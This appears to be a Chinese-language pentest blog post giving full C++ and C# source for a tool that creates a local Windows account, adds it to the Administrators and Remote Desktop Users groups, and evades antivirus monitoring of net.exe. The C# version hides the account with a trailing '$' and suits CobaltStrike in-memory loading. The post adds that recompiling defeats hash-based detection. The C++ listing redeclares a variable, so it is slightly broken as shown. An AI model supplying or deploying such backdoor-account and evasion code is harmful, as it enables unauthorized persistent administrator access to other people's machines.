Bypass AV 新增使用者
君子藏器於身待時而動,安全不露圭角覆盂之安。
——AnonySec
專案地址: UserAdd
前言
在滲透測試過程中,有時會登入遠端桌面等服務進行橫向,但需要知道 Windows 賬戶口令 (不考慮 hash 傳遞場景),而直接通過 net.exe
進行新增使用者,往往會被安全軟體直接阻斷攔截,這就需要呼叫 Windows API ,進行 Bypass AV。
安全阻斷
安全軟體的阻斷,實際就是對 net.exe
的呼叫進行了監控 (正常運維人員很少使用該命令),所以在Webshell或遠控上新增賬號,往往就會被阻止操作,賬號就會新增失敗。
命令列新增/刪除/修改賬戶,在火絨中屬於敏感動作防護規則。
Bypass AV
C++
NetUserAdd NetLocalGroupAddMembers
NET_API_STATUS NET_API_FUNCTION NetUserAdd( [in] LPCWSTR servername, [in] DWORD level, [in] LPBYTE buf, [out] LPDWORD parm_err ); NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMember( LPCWSTR servername, LPCWSTR groupname, PSID membersid );
完整程式碼
#ifndef UNICODE #define UNICODE #endif #pragma comment(lib, "netapi32.lib") #include <stdio.h> #include <windows.h> #include <lm.h> int wmain(int argc, wchar_t* argv[]) { USER_INFO_1 ui; DWORD dwLevel = 1; DWORD dwError = 0; NET_API_STATUS nStatus; if (argc != 3) { fwprintf(stderr, L"Usage:UserAdd.exe <username> <password>\n", argv[0]); exit(1); } ui.usri1_name = argv[1]; ui.usri1_password = argv[2]; ui.usri1_priv = USER_PRIV_USER; ui.usri1_home_dir = NULL; ui.usri1_comment = NULL; ui.usri1_flags = UF_SCRIPT; ui.usri1_script_path = NULL; nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError); if (nStatus == NERR_Success) fwprintf(stderr, L"User %s has been successfully added\n",argv[1]); else fprintf(stderr, "A system error has occurred: %d\n", nStatus); LOCALGROUP_MEMBERS_INFO_3 account; account.lgrmi3_domainandname = argv[1]; NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1); NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&account, 1); if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){ printf("Administrators added Successfully!"); } else { printf("Administrators added Failed!"); } return 0; }
效果測試
C#
呼叫 DirectoryServices
新增本地使用者,同時可以刪除使用者、新增使用者組。
個人更傾向於C#的版本:
- 程式碼簡潔
- 便於 CobaltStrike 記憶體載入執行
public class DirectoryEntries : System.Collections.IEnumerable
完整程式碼
在 Visual Studio 中需要新增對程式集 System.DirectoryServices.dll
的引用。
using System; using System.DirectoryServices; // Reference:https://docs.microsoft.com/zh-cn/troubleshoot/dotnet/csharp/add-user-local-system namespace UserAdd { class Class1 { static void Main(string[] args) { if (args.Length != 1) { Console.WriteLine("[!] The default is 10 bits random password"); Console.WriteLine("Usage: UserAdd.exe <username>"); } else { string user = args[0]; string username = user + "$"; //10位隨機密碼 string chars = "[email protected]#$%0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; Random randrom = new Random((int)DateTime.Now.Ticks); string password = ""; for (int i = 0; i < 10; i++) { password += chars[randrom.Next(chars.Length)]; } try { DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer"); DirectoryEntry NewUser = AD.Children.Add(username, "user"); NewUser.Invoke("SetPassword", new object[] { password }); //NewUser.Invoke("Put", new object[] { "Description", "Test User from .NET" }); NewUser.CommitChanges(); DirectoryEntry grp; grp = AD.Children.Find("Administrators", "group"); if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); } grp = AD.Children.Find("Remote Desktop Users", "group"); if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); } Console.WriteLine("[*] Account Created Successfully"); Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}"); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } } }
之前在 github 釋出過編譯好的版本,但已經被火絨標記了 HackTool ,實際只檢驗了MD5,重新編譯即可。
